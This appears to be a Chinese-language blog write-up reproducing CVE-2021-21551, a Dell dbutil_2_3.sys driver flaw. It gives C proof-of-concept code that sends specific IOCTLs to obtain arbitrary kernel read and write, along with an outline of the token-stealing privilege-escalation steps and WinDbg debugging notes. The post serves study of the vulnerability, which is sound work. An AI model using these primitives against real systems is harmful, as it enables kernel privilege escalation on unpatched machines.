2021-07-03-CVE-2021-21551漏洞分析

CVE-2021-21551是戴尔电脑BIOS中存在的5个漏洞

会影响从2009年到现在的几乎所有戴尔电脑

漏洞出现在其中一个驱动文件中dbutil_2_3.sys,主要包含下面5个漏洞,合在一起被命名为CVE-2021-21551:

  • CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
  • CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
  • CVE-2021-21551: Denial Of Service – Code logic issue

这个漏洞的根本原因在于

it accepts IOCTL (Input/Output Control) requests without any ACL requirements. That means that it can be invoked by a non-privileged user:

任何用户都可以通过IOCTL对这个驱动程序交互,进而获得一个任意地址写的能力,导致有可能会提权;

获取样本

翻出来了家里的老电脑,想搜一下这个文件,结果没找到

一看有这么一个DBUtil.Vulnerability.Cleanup.dll

image-20210528195240043

发现这是对这个漏洞做的countermeasure

image-20210528195357300

专门搞了这么一个用来删除这个文件的工具

image-20210528195530150

在这里面看到要删除的hash

0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5

通过这个hash下载到了样本

image-20210528200145243

漏洞分析

漏洞简介

摘抄一下crowdstrike的概述

The quick synopsis of this vulnerability is that an IOCTL code exists that allows any user to write arbitrary data into an arbitrary address in kernel-mode memory. Any caller can trigger this IOCTL code by invoking DeviceIoControl to send a request to dbutil_2_3.sys while specifying the IOCTL code 0x9B0C1EC8with a user-supplied buffer, allowing for an arbitrary write primitive. Additionally, specifying an IOCTL code of 0x9B0C1EC4 allows for an arbitrary read primitive.

漏洞的根源是这个驱动程序中的IOCTL存在能够让用户写到内核模式任意地址的漏洞;

这里面主要有这几个问题:

  • IOCTL设置为0x9B0C1EC8是可以获取一个任意地址写的能力
  • IOCTL设置为0x9B0C1EC4是可以获取一个任意地址读的能力

不过这篇文章是一个复现,看原本的博客说法,这里的两个问题好像只是几个issue中的一个

还有其他的漏洞点

任意地址写

为了让用户模式与内核模式进行交互,driver会创建device object

首先我们从驱动程序的入口点看起

image-20210530152913359

这个入口点函数比较了一个幻数之后就转而调用了实际的入口点函数

image-20210530153544219

可以看到这个函数中调用了IoCreateDevice函数来创建DeviceObject

可以关注一下字符串\Device\DBUtil_2_3

这个字符串首先呗传递到了IoCreateDevice创建了一个DeviceObject,之后又传递到了IoCreateSymbolicLink创建了一个符号链接

这种符号链接是用户模式可以访问的接口,在这个具体内容中用户模式的接口是\\.\DBUtil_2_3这个文件

在联系起Symbolic Link之后,就可以用CreateFile来获取到一个指向dbutil_2_3.sys的handle

例如一段这样的代码

HANDLE driverHandle = CreateFileA(
	"\\\\.\\DBUtil_2_3",
  FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
  0x0,
  NULL,
  OPEN_EXISTING,
  0x0,
  NULL
);

if(driverHandle == INVALID_HANDLE_VALUE)
{
  printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
  exit(-1);
}

获取到这个driverHandle之后,可以用DeviceIoControl来和driver交互;

这之后就要知道驱动中是哪里处理IOCTL routines

正常来说可以找到注册DriverObject中的MajorFunction的地方

这是一个IRP_MJ_XXX数组,每一项对应一种I/O操作

这同样可以从入口点看到

      DriverObject_private->MajorFunction[16] = (PDRIVER_DISPATCH)IoHandler;
      DriverObject_private->MajorFunction[0] = (PDRIVER_DISPATCH)IoHandler;
      DriverObject_private->MajorFunction[2] = (PDRIVER_DISPATCH)IoHandler;
      DriverObject_private->MajorFunction[14] = (PDRIVER_DISPATCH)IoHandler;

IDA反编译的这几句代码

实际上是

DriverObject_private->MajorFunction[IRP_MJ_SHUTDOWN] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)IoHandler;

这几个函数

可以看到这个驱动使用了一个函数来实现它需要的所有操作;

进入这个函数可以看到首先比较了一下是否是Read相关的操作,如果不是的话就在最下面再分类处理

image-20210530163611605

这里比较奇怪的是,在参考链接里面写的是判断是否是DeviceIoControl相关的操作

不知道是IDA反编译的问题还是如何

之后是一个多层的比较,比较了Parameters的这个值,对应不同的处理函数

任意地址写的函数在这个0x9B0C1EC8的case中,这里IDA反编译的有些问题

image-20210530161549532

这个存在漏洞的函数内容实际上是调用了一个memmove

image-20210530201048123

memmove可以把一块内存复制到另一块内存;

如果能够控制传递给memmove的参数,那么就给了我们一个任意地址写的能力

可以看到这段代码中memmove的三个参数最终都是可以控制的,都是从v2得到的,而v2实际上就是传入的InputBuffer

那么下面就是确认如何才能执行到这里

参考链接中再这里写了一个POC,并且动态调试是否可以运行到这里

#define IOCTL_CODE 0x9B0C1EC8

void exploitWork(void)
{
  //obtain a handle to the driver
  HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
  	FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
  	0x0,
  	NULL,
  	OPEN_EXISTING,
  	0x0,
  	NULL
	);

	if(driverHandle == INVALID_HANDLE_VALUE)
	{
  	printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
  	exit(-1);
	}
  else
  {
    printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n",(unsigned long long)driverHandle);
    //Buffer to send to the driver
    unsigned long long inBuf = 0x4141414141414141;
    
    DWORD bytesReturned =0;
    
    //Interact with the driver
    BOOL interact = DeviceIoControl(
    	driverHandle,
      IOCTL_CODE,
      &inBuf,
      sizeof(inBuf),
      &inBuf,
      sizeof(inBuf),
      &bytesReturned,
      NULL
    );
  }
}

//Call exploitWork()
void main(void)
{
  exploitWork();
}

之后参考资料中是在Windbg中下断点分析运行到memmove的状态

(下面动态调试的图都直接扒来的,准备看的差不多再尝试调试复现)

img

上面的PoC向驱动写了一个QWORD,8个字节的A,运行到我们目标函数之后,在这里比较了cmp ecx,0x18h

这时ecx存储的是输入的这个长度,由于小于0x18就直接退出了

这部分对应反编译的最开始的比较

image-20210531100453210

之后就修改PoC的代码,给内存送过去更大段的内容

unsigned long long inBuf[4];
unsigned long long one = 0x4141414141414141;
unsigned long long two = 0xffff780000000000;
unsigned long long three = 0x4242424242424242;
unsigned long long four = 0x4343434343434343;

memset(inBuf, 0x00, 0x20);
inBuf[0] = one;
inBuf[1] = two;
inBuf[2] = three;
inBuf[3] = four;

后面都一样

运行到memmove之前时发现:

  • three中的低32位被放在了ecx中;
  • 之后执行了add rcx, qword ptr [rsp+28h],在rcx中加了一个地址rsp+28h,这里实际上加的内容是two,内容为0xFFFF780000000000
  • four被放在了rdx
  • 在调用memmove时,RCX的值是dst,RDX的值是src

因此到这里就获得了任意地址写的能力:

控制传入buf的第二、三个QWORD就可以指定要写的地址;

控制buf的第四个QWORD就是要写的内容;

img

任意地址读

IoHandler这个函数中还有另外到达这个memmove的途径

调用到这个任意地址写函数时IDA反编译的结构是这样的

if(ioctl==0x9B0C1EC4)
{
  read = 1;
}
else
{
	if (ioctl!=0x9B0C1EC8)
  {
    switch ...
  }
  read = 0;
}
status = ArbitraryWriteFunction(systemBuffer, read)

也就是说0x9B0C1EC80x9B0C1EC4都可以到达这里

并且可以看到传入的参数分别是0和1

在这个函数内部我们可以看到作用是设置srcdst

image-20210531145159070

ioctl值为0x9B0C1EC8时是刚才看到的任意地址写效果

ioctl的值为0x9B0C1EC4时就可以达到任意地址读的效果,直接使用上面的POC修改部分就可以

#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

void exploitWork(void)
{
  //obtain a handle to the driver
  HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
  	FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
  	0x0,
  	NULL,
  	OPEN_EXISTING,
  	0x0,
  	NULL
	);

	if(driverHandle == INVALID_HANDLE_VALUE)
	{
  	printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
  	exit(-1);
	}
  else
  {
    printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n",(unsigned long long)driverHandle);
    //Buffer to send to the driver
		unsigned long long inBuf[4];
		unsigned long long one = 0x4141414141414141;
		unsigned long long two = 0xffff780000000000;
		unsigned long long three = 0x0;
		unsigned long long four = 0x0;

		memset(inBuf, 0x00, 0x20);
		inBuf[0] = one;
		inBuf[1] = two;
		inBuf[2] = three;
		inBuf[3] = four;
    DWORD bytesReturned =0;


    //Interact with the driver
    BOOL interact = DeviceIoControl(
    	driverHandle,
      IOCTL_READ_CODE,
      &inBuf,
      sizeof(inBuf),
      &inBuf,
      sizeof(inBuf),
      &bytesReturned,
      NULL
    );
  }
}

//Call exploitWork()
void main(void)
{
  exploitWork();
}

到这里获取到了任意地址读和任意地址写的能力,之后需要的就是劫持控制流、绕过Windows的各种保护机制;

劫持控制流

劫持控制流的主要步骤:

  1. 定位PTE的基地址;
  2. 计算出shellcode在内存页中的位置,并提取PTE内存属性位
  3. 写shellcode,这个shellcode的功能是复制SYSTEM EPROCESS对象的TOKEN属性到一个在driver的虚拟内存中可写的目标进程中
  4. 破坏页表项(PTE),使得shellcode所在的页具有RWX权限,从而绕过DEP
  5. 覆盖[nt!HalDispatchTable+0x8]之后调用ntdll!NtQueryIntervalProfile,调用这个函数的时候会执行[nt!HalDispatchTable+0x8]的位置
  6. 之后立即修复[nt!HalDispatchTable+0x8]的值,来避免KPP, Kernel Patch Protection(KPP会监控dispatch table的完整性)

由于没搞过Windows的漏洞利用,对这里面的一些机制不是太了解,这部分暂时先放着;

后面学习了解一下相关机制再进一步看;

漏洞复现

首先需要配置一下调试的环境,需要设置windbg、调试串口之类的内容

环境搭建

本机调试

首先尝试的是调试本机内核

开一个管理员权限的cmd

bcdedit /debug on
bcdedit /dbgsettings local

重启之后就可以debug了

在windows商店里面下载windbg,<C-k>进入debug界面,选择local

之后就会自动下载pdb之类的调试信息,下载完毕之后就可以调试内核了

但是调试时发现,怎么乱七八糟的指令都不支持啊

结果官网一搜

image-20210601113044799

好家伙,local debug只能看,所有运行相关的指令都没办法执行

那只能双机调试了呗

双机调试

由于物理主机是一个Linux的系统,所以双机调试的环境是两台Windows虚拟机通过Unix管道连接的

整体的架构图大概是这样

image-20210601143453400

不过操作系统不是win7,是win10,不过这没啥区别

Debugger

首先关掉虚拟机设置一个串口,kvm中设置为Unix管道,随便放在一个/tmp目录下的文件

这里新建硬件的名字叫做Serial 2,所以在后面要命名为COM2

之后虚拟机启动之后<C-k>运行起来Windbg,在里面设置COM

image-20210601143247923

之后就进入等待连接的状态了

image-20210601143734594

Debugee

被调试的虚拟机,开启debug模式后设置端口就可以

不过为了分离被调试模式和普通的状态,可以复制一个开机启动项,只有从这个模式进去才可以内核调试

注意,下面这些需要在cmd中执行,最开始是在powershell里面跑,一直提示出错,换成cmd就好了

C:\User\analysis>bcdedit /copy {current} /d "Kernel Debug Mode"
已将该项成功复制到{ce57f4f1-c1e7-11eb-a2f4-9cf465a0c717}

C:\User\analysis>bcdedit /debug {ce57f4f1-c1e7-11eb-a2f4-9cf465a0c717} on
操作成功完成

C:\User\analysis>bcdedit /dbgsettings serial debugport:2 baudrate:115200
操作成功完成

之后再执行bcdedit检查一下可以看到

image-20210601150319775

这个启动项开启了debug模式,接下来重启

启动的时候看到这样一个选择的界面

image-20210601150706528

启动的时候就会自动连接上了

这样发现连接不上,奇怪;感觉可能是KVM里面新建设备的端口名称和VM Ware不太一样

于是尝试了一下用网络调试, 最后干脆用Windows了

C:\Windows\system32>bcdedit /dbgsettings NET HOSTIP:192.168.122.48 PORT:50000
Key=2u4jxw8spxim6.2im5msmw9y65z.2noyq161pn8tv.352yge10iuirq

加载驱动

最开始搜索的是怎么加载sys文件,搜了半天没找到,最后去google搜了一下找到一个stackoverflow的文档,里面提到可以用这个OSR Loader

使用这个测试了一下加载成功了,之后运行了一下网上搜到的github现成的exploit,顺利提权到了system

DeepinScreenshot_select-area_20210531203904

这是一个普通的powershell的权限

DeepinScreenshot_select-area_20210531203934

运行完EXP的程序之后,提升到了system权限

漏洞调试

既然环境都没问题了,就跟着之前看到的资料走一遍

windbg之前没有用过,搜了一下基本的用法 (抄来了组员的笔记)

# 打印信息类命令
r              # 打印寄存器的值
d eax          # 查看eax指向的地址处的内容
d{a|b|c|d|D|f|p|q|u|w|W}  addres # 分别显示ascii, byte, char, dword&ASCII, dword, float, pointer-sized, qword
k              # 打印栈
u      address # 反汇编对应位置的指令
# 调试类命令
p            # 单步步过
t            # 单步步入
pa/ta addr   # 执行到指定地址
pc/tc        # 执行到下一个函数调用
tb           # 执行到下一条分支指令
g            # 继续执行


# 下断点
[~td] bp/bu/bm [ID] [Options] [Address[Passess]] ['CommandString']
# bp 设置断点,设置的时候模块必须加载完成
# bu 预加载,此时模块可能并没有加载,例如对于dll的入口函数下断点
# bm 批量设置断点。例如在msvcr80模块中所有以print开头的函数下断点: bm msvcr80!print*
    # ~td:线程序号。如果设置了线程序号,则只有当该线程调用才会触发断点
    # ID:断点编号,如果不指定则从0开始编排
    # Address:断点地址,例如TestModals 模块的Func 函数 TestModals!Func 
    # Passess:每经过一次断点-1,当等于0的时候,触发断点。默认为1
    # CommandString:中断时Windbg会自动执行CommandString命令
    # Options:
    # /1 一次性断点,中断一次便删除
    # /p 只有当前进程是指定进程的时候才触发这个断点(内核调试使用)
    # /t 指定线程访问才触发断点 (内核调试使用)
    # /c 最大函数调用深度 eg:bp /c5 msvcr80d!printf 只有调用深度小于5才中断
    # /C 最小函数调用深度
ba[ID] Access Size [Options] [Address[Passess]] ['CommandString']
# 硬件断点
    # Access:触发断点的访问方式
    # e:当从指定地址读取和执行指令的时候触发断点
    # r:当从指定地址读取和写入指令的时候触发断点
    # w:当从指定地址写入指令的时候触发断点
    # i:当从指定地址存在IO访问触发断点
    # Size:指定数据访问长度
    # Address:断点地址,是根据size对齐的。eg:size=4,那么address为4的整数倍
    # eg:ba r1 0041717c 那么对地址0041717c的一字节,字访问,双字访问(读写)都会触发这个断点

加载了驱动程序之后

首先在windbg里面下断点

0: kd> bp DBUtil_2_3+0x11f0
0: kd> g

在虚拟机里面运行写的POC程序(就最简单的获取一个handle之后送8个字节a进去的那个)

image-20210601211431013

看到这里自动断了下来,下面就可以正常单步了

单步运行到那个任意地址写函数的调用前

image-20210601212216998

这时rax0x9b0c1ec8

进入到这里面的第一条指令

image-20210602001057705

可以看到运行到这个 push rbx的时候,rcx中存着我们输入的0x4141414141414141

单步运行下去,将长度赋值给了ecx,之后看到进行了比较

image-20210601233945220

这里比较之后发现小于0x18,之后就跳转退出了

这和参考链接的写的是一样的

之后单步一段走到这里lea eax,[rcx-18h]

image-20210602010157124

这里下面的call DBUtil_2_3+0x1790实际上就是针对memmove的调用

到这里马上就要运行到call memmove了,却都没有什么关于栈的操作

确确实实运行到这一句call memmove

image-20210602010450558

查看一下寄存器

Windows中64位程序函数调用时前几个参数是依次保存在rcx、rdx、r8、r9中,后面的参数在栈上

image-20210602141042508

image-20210603193001723

参考链接

  • https://www.dell.com/support/kbdoc/zh-cn/000186019/dsa-2021-088-dell-client-platform-security-update-for-dell-driver-insufficient-access-control-vulnerability
  • https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
  • https://www.crowdstrike.com/blog/cve-2021-21551-learning-through-exploitation/
  • https://connormcgarr.github.io/cve-2020-21551-sploit/
  • http://www.osronline.com/article.cfm%5earticle=157.htm
  • https://github.com/waldo-irc/CVE-2021-21551
  • https://blahcat.github.io/2017/08/07/setting-up-a-windows-vm-lab-for-kernel-debugging/
  • https://stackoverflow.com/questions/12696825/debugging-windows-kernel-from-linux
  • https://stackoverflow.com/questions/9957547/utility-to-load-sys-driver-on-windows
  • https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/performing-local-kernel-debugging?redirectedfrom=MSDN